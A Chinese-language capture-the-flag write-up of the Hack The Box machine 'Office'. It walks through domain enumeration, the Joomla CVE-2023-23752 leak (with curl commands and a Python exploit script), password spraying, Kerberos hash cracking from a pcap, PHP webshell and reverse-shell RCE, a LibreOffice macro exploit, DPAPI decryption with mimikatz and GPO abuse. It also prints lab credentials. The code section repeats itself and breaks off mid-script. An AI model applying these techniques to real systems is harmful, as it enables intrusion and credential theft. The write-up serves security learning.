发现53,88,389,636端口,基本可以确认为域环境。
从扫描信息来看主机域名有两个dc.office.htb、office.htb,我将这两个域名写入/etc/hosts
文件当中:
通过smbclient查看是否能匿名访问smb服务:
拒绝匿名访问,只能将目光投向到80端口了。
这是一个关于钢铁侠的网站,我首先查看了一下网站是否有敏感信息泄露,首先我查看了一下robot.txt
文件,里面罗列一堆目录:
里面有几个我比较感兴趣目录,administrator和api,这几个目录看起来像是一个cms,我将使用whatweb
验证一下:
果然和我猜想的一样,我使用Google搜索一下这个cms是否存在漏洞可以利用:
在Hacktricks中找到了有关joomla!的信息,包括版本的探测和存在的利用漏洞,首先我进行版本探测,访问http://10.10.11.3/administrator/manifests/files/joomla.xml
探测版本:
查看到版本是4.27,这个版本在前面Hacktricks提到的未经身份验证的敏感信息泄露影响范围内,这篇文章也详细介绍了这个漏洞,接下来我将复现这个漏洞:
一些数据库配置信息以json格式响应给我了。
再测试一下另一个api:
同样有效,针对这个漏洞我用python写了一个简单的poc,主要是拿来练手的,让这台靶机有一鱼多吃的效果:
现在我拿到了数据库凭证root:H0lOgrams4reTakIng0Ver754!
和网站的用户名Administrator
,我将使用这个密码和用户名尝试登录网站:
很遗憾不行。
尝试登录管理员界面无果后,我只能将目光放回到445端口,尝试进行密码喷洒,首先我需要进行枚举域环境中的用户,我将使用kerbrute进行枚举:
我将用户名放在一个文件内,然后使用crackmapexec进行密码喷洒:
发现用户dwolfe
的密码和数据库密码一样。
我将使用这个凭据查看共享的内容:
这里有四个文件夹当前用户可读,但我只关心SOC Analysis
这个文件夹,因为它不是常规的smb共享文件夹,我将访问这个文件夹的内容:
只有一个pcap文件,那么方向很明确了,我将下载该文件然后使用wireshark进行流量分析。
因为在域环境当中,我所以我想查看一下是否有ldap验证或者kerberos验证的数据包:
发现kerberos认证的请求包,是kerberos认证的流量包,在第二个包中发现加密的方式和数据:
kerberos预认证的hash格式为:
$krb5pa$<etype>$<username>$<domain>$<cipher>
,所以hash值为:$krb5pa$18$tstark$office.htb$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
当然我们也可以使用工具来帮我们提取hash,我将使用NetworkMiner这个工具进行提取hash:
发现报错了,大意是免费版的工具不支持pcapNg文件的解析,需要用到专业版,但是专业版需要收费,我就想能不能将这个文件进行转换到pcap文件,经过Google一顿搜索,在网上找到了这个issue:
有警告但是成功转换了,使用工具打开转换后的文件:
看到解析成功了。
获得kerberos的hash之后我将保存在hash文件中,使用hashcat进行破解,:
十几秒就完成了,我将进行smb连接的测试:
凭据有效!接着测试winrm:
失败了,看起来个用户并不是远程管理组的成员。
我们无法通过winrm拿到机器的立足点,smb服务也已经利用过了,只能将目光移回到web服务上面,看一下是否能找到有价值的地方,通过凭证Administrator:playboy69
尝试登录管理员界面,管理员这个用户名也是文章前面收集到的信息:
成功登录进来了。
还是前面那篇Joomla!文章,里面也介绍了当攻击者获得管理员凭证的时候,可以通过修改网页中的php文件,写入一句话进行RCE,我将在Kali中搭建web服务,并将nc64.exe上传到目标机器上面:
找到修改php文件的地方,我们将修改index.php写入一句话:
!
修改后保存,访问我们修改后的url进行RCE:
上传nc64.exe:
上传成功,使用nc监听443端口:
执行反弹shell命令:
成功获得立足点,查看当前用户:
获得立点后我查看了htdocs
目录下的文件发现了一个internal
目录,里面好像是另一个web站点:
首先我查看一下tstark的用户信息:
tstark属于域用户组和注册表编辑组,因为不是远程管理组的成员所以用RunasCs.exe
重定向输入输出到一个shell中:
在Kali监听4444端口:
不容易啊!
在Users目录中可以看到还有另外两个用户,查看了一下用户的信息,发现HHogan是组策略对象管理组的成员,接下来应该是往这两个用户横向移动了:
我使用命令枚举机器监听的端口,发现一个8083端口在机器监听:
在Program Files
目录下机器安装有低版本的Libreoffice:
我谷歌了一下Libreoffice存在的漏洞,大多数都是基于office文档注入恶意的宏从而实现代码执行的利用,但是我没有看到有能上传这种office文档的地方,但是我还记得前面收集到的信息机器上有另一个web服务,并且8083端口在本地进行监听,那么合理推测这个8083端口应该是另一个web服务,因8083端口只在本地监听,所以我将上传chisel.exe到机器上进行端口转发。
在Kali搭建chisel服务:
在机器上将本地的8083重定向到Kali的8083端口:
chisel日志中成功回显连接成功,使用nmap验证一下我们之前的猜想:
果然是web服务!接下来就是探测这个网站的是否存在可以利用的地方了:
发现这个网站有一个叫resume.php
的页面,这是一个招聘网站,这和之前目录下php文件对上了,我试着上传文件,但是提示失败,网站只接受doc、docx、odt格式的office文档:
我尝试在谷歌搜寻可以利用的漏洞的过程中发现两种途径可以进行利用,一个是CVE-2023-2255,另一个是通过修改Macro security level
注册表的值,同时配合上传带有恶意的宏的office文档触发执行系统命令:
LibreOffice 支持“浮动框架”,类似于 html IFrame。这些框架在主文档内的浮动框架中显示其链接文档。
在受影响的 LibreOffice 版本中,这些浮动框架会获取并显示其链接文档,而不会提示加载主机文档。这与其他链接文档内容(例如 OLE 对象、Writer 链接部分或 Calc WEBSERVICE 公式)的行为不一致,这些内容警告用户存在链接文档并提示是否允许更新。
在版本 >= 7.4.7(和 >= 7.5.3)中,现有的“更新链接”管理器已扩展为额外控制 IFrame 内容的更新,因此此类 IFrame 不会自动刷新其内容,除非用户通过提示同意。
机器中的版本在漏洞影响范围内,这里有一个可以生成恶意odt文件的Poc,我将使用这个Poc生成恶意的odt文件:
上传文件,成功拿到立足点:
这种方式下我将手动生成带有恶意宏的odt文档,并修改注册表的值,打开Libreoffice新建文档,并在tools菜单栏中选择新建Macros,写入执行的命令,创建打开文档的时执行这个恶意宏的时间,然后上传文档:
选择tools->customize选项卡设置打开文档事件:
我将文件保存为shell.odt,接下来需要修改注册表的值,我在网上找到了关于Libreoffice宏的安全等级注册表路径和值对应的安全等级:
我需要重新使用RunasCs.exe工具返回一个tsark的shell进行注册表的操作:
使用命令查看注册表的值:
可以看到宏的安全等级的值为3,我们要将其修改为0,首先需要查看当前用户是否有修改这个注册表的ACL:
很好查看到Registry Editors组有完全控制的权限,tstark刚好在这个组,接下来就是修改这个注册表的值了:
可以看到修改成功了。
上传文档并且监听4446端口:
十几秒后就有响应了
在ppotts用户的家目录下一顿查找都没有找到太多有价值的地方,我上传winpeas.exe进行自动枚举了:
Winpeas枚举出来用户有使用DPAPI加密的凭据文件,也列出了加密的masterkey:
我们可以在Hacktricks中查找到有关DPAPI的介绍,简单的来说:
数据保护 API (DPAPI)提供了一种数据对称加密方法,主要用于 Windows 操作系统中的非对称私钥的对称加密。这种加密利用用户或系统秘密来显着贡献熵。
master key可以通过下列命令进行查找:
而凭据文件可以通过下列的命令进行查找:
当时打的时候就有一个难题就是我不知道ppotts用户的密码,masterkey需要用到用户密码去解密,卡了好久才知道利用的MS-BKRP这个协议,这个协议说的是用户可以通过rpc利用域环境中的备份密钥对masterkey进行解密,这个密钥是不会改变的,我会上传Mimikatz.exe使用/rpc选项进行利用:
获得masterkey值:87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166
前面两个文件都没有有价值的信息,在尝试第三个的时候,发现了HHogan的凭证:
HHogan:H4ppyFtW183#
HHogan是远程管理组的成员,我将使用evil-winrm登录:
使用Bloodhound-python寻找利用路径:
开启neo4j数据库和bloodhound进行分析:
上传刚刚使用bloodhound获得的文件,hhogan用户可以对一些组策略对象具有Genric write的权限,其中DEFAULT DOMAIN CONTROLLERS POLICY这组策略对象连接到域控了:
组策略对象(GPO)是各种组策略的集合,当组策略对象连接到某个域,那么这个域就会遵循这个组策略对象中的所有组策略条目。
那么接下来的思路就简单了我可以向组策略对象中添加一条新的组策略,列如:将当前用户添加到本地管理员组,这个操作我将使SharpGPOAbuse.exe来完成,我将上传SharpGPOAbuse.exe到靶机中,然后执行如下命令:
添加后,使用下面命令更新组策略对象:
现在我们已经是本地管理员组的成员了,我们需要退出这个会话重新使用evil-winrm登录:
这台靶机前前后后我花了将近一周的时间才拿到管理员权限,因为对我来说真的很难,如果你对域渗透的知识不熟练,那么这台靶机你一定可以学到很多东西。
sudo
nmap --min-rate 10000 -p- 10.10.11.3|
grep
open
|
awk
-F/
'{print $1}'
|
paste
-sd
','
sudo
nmap --min-rate 10000 -p- 10.10.11.3|
grep
open
|
awk
-F/
'{print $1}'
|
paste
-sd
','
sudo
nmap -sC -sT -sV -O -p53,80,88,139,389,443,445,464,593,636,3268,3269,5985,9389 10.10.11.3
sudo
nmap -sC -sT -sV -O -p53,80,88,139,389,443,445,464,593,636,3268,3269,5985,9389 10.10.11.3
sudo
bash
-c
"echo '10.10.11.3 dc.office.htb office.htb' >> /etc/hosts"
sudo
bash
-c
"echo '10.10.11.3 dc.office.htb office.htb' >> /etc/hosts"
smbclient -L
//10
.10.11.3/
smbclient -L
//10
.10.11.3/
curl -
v
http:
//10
.10.11.3
/api/index
.php
/v1/config/application
?public=
true
curl -
v
http:
//10
.10.11.3
/api/index
.php
/v1/config/application
?public=
true
curl -
v
http:
//10
.10.11.3
/api/index
.php
/v1/users
?public=
true
curl -
v
http:
//10
.10.11.3
/api/index
.php
/v1/users
?public=
true
import
requests
import
json
import
argparse
from
colorama
import
Fore,Style,init
init(autoreset
=
True
)
def
fetch_users(base_url):
users_api
=
f
"{base_url}/api/index.php/v1/users?public=true"
response
=
requests.get(users_api)
return
response.json()
def
parse_users(base_url):
data
=
fetch_users(base_url)[
'data'
]
users
=
[]
for
user
in
data:
if
user[
'type'
]
=
=
'users'
:
user_data
=
user[
'attributes'
]
users.append({
'id'
:user_data[
'id'
],
'name'
:user_data[
'name'
],
'username'
:user_data[
'username'
],
'email'
:user_data[
'email'
]
,
'groups'
:user_data[
'group_names'
]})
return
users
def
display_users(base_url):
users
=
parse_users(base_url)
print
(Fore.RED
+
Style.BRIGHT
+
"User_info"
)
for
user
in
users:
print
(f
"id:{user['id']}\n"
f
"name:{user['name']}\n"
f
"username:{user['username']}\n"
f
"email:{user['email']}\n"
f
"groups:{user['groups']}"
)
def
fetch_config(base_url):
config_api
=
f
"{base_url}/api/index.php/v1/config/application?public=true"
response
=
requests.get(config_api)
return
response.json()
def
parse_config(base_url):
data
=
fetch_config(base_url)[
'data'
]
configs
=
{}
for
entry
in
data:
if
entry[
'type'
]
=
=
"application"
:
key
=
list
(entry[
'attributes'
].keys())[
0
]
configs[key]
=
entry[
'attributes'
][key]
return
configs
def
display_config(base_url):
config
=
parse_config(base_url)
print
(Fore.RED
+
Style.BRIGHT
+
"db_info"
)
print
(f
"dbtype: {config['dbtype']}"
)
print
(f
"host: {config['host']}"
)
print
(f
"user: {Fore.YELLOW + Style.BRIGHT + config['user']}"
)
print
(f
"password: {Fore.YELLOW + Style.BRIGHT + config['password']}"
)
print
(f
"db_name: {config['db']}"
)
def
main():
parser
=
argparse.ArgumentParser(description
=
"Joomla!<4.28,CVE-2023-23752\nusage:python3 CVE-2023-23752.py -url <base_url>"
)
parser.add_argument(
'-url'
,
help
=
"base_url"
)
args
=
parser.parse_args()
display_users(args.url)
print
()
display_config(args.url)
if
__name__
=
=
"__main__"
:
main()
import
requests
import
json
import
argparse
from
colorama
import
Fore,Style,init
init(autoreset
=
True
)
def
fetch_users(base_url):
users_api
=
f
"{base_url}/api/index.php/v1/users?public=true"
response
=
requests.get(users_api)
return
response.json()
def
parse_users(base_url):
data
=
fetch_users(base_url)[
'data'
]
users
=
[]
for
user
in
data:
if
user[
'type'
]
=
=
'users'
:
user_data
=
user[
'attributes'
]
users.append({
'id'
:user_data[
'id'
],
'name'
:user_data[
'name'
],
'username'
:user_data[
'username'
],
'email'
:user_data[
'email'
]
,
'groups'
:user_data[
'group_names'
]})
return
users
def
display_users(base_url):
users
=
parse_users(base_url)
print
(Fore.RED
+
Style.BRIGHT
+
"User_info"
)
for
user
in
users:
print
(f
"id:{user['id']}\n"
f
"name:{user['name']}\n"
f
"username:{user['username']}\n"
f
"email:{user['email']}\n"
f
"groups:{user['groups']}"
)
def
fetch_config(base_url):
config_api
=
f
"{base_url}/api/index.php/v1/config/application?public=true"
response
=
requests.get(config_api)
return
response.json()
def
parse_config(base_url):